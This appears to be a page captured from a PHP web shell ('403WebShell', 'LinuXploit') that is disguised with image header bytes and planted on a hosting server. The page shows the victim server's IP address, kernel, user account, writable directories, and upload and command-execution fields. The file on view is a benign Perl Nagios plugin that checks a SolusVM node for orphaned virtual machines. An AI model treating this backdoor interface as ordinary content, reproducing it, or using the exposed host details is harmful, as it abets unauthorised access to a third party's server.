����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_solusvm_vms_trash
#!/usr/bin/env perl

use extreme;
use File::Slurp;
use Carp;
use SolusVmAPI::Client;

use Sys::Hostname;
use IPC::Run qw(run);

sub i_run (@cmd) {
    return say ('no command passed') if !@cmd;
    #say( 'i_run cmd: ' . join " ", @cmd );
    my ( $out, $err );
    run(
        \@cmd,
        \undef,
        \$out,
        \$err,
        init => sub {
            $ENV{LC_ALL} = 'en_US.UTF-8';
        },
    );
    carp( 'i_run err: ' . $err ) if $?;
    return wantarray ? ( $out, $err ) : $out;
}

my $exit = 0;

# get master vms for node
my $hostname   = hostname;
my $svmapi     = SolusVmAPI::Client->new();
my $master_vms = $svmapi->get("vms-list/$hostname/");
my (@mvms, @lvmvms);
for ( keys $master_vms->{'vms-list'}->%* ) {
    push @mvms, $_;
    push @lvmvms, $master_vms->{'vms-list'}->{$_}->{'lvm'};
}
# get node vms
my $node_vms = i_run('virsh', 'list', '--all', '--uuid');
my @nvms = split /\n/, $node_vms;

# get node lvs
my $lvs = i_run('lvdisplay', '--columns', '--noheadings', '-oname', 'vg2');
$lvs =~ s/\ //gxms;
my @lvs = split /\n/, $lvs;

# check vms doesnt exist on master
my (@trash_vms, @trash_lvs);
for (@nvms) {
    push @trash_vms, $_ if not $_ ~~ @mvms;
}
for (@lvs) {
    my $vm = $_ =~ /^([^_]+_[^_]+)_/ ? $1 : $_;
    push @trash_lvs, $_ if not $vm ~~ @lvmvms;
}

if (@trash_vms){
    $exit = 1;
    say "VMs does not exists on master for this node:";
    say $_ for @trash_vms;
}

if (@trash_lvs){
    $exit = 1;
    say "Not found VMs on master for this Logical Volumes:";
    say $_ for @trash_lvs;
}

say "OK - trash not found" if $exit == 0;

exit $exit;

Youez - 2016 - github.com/yon3zu
LinuXploit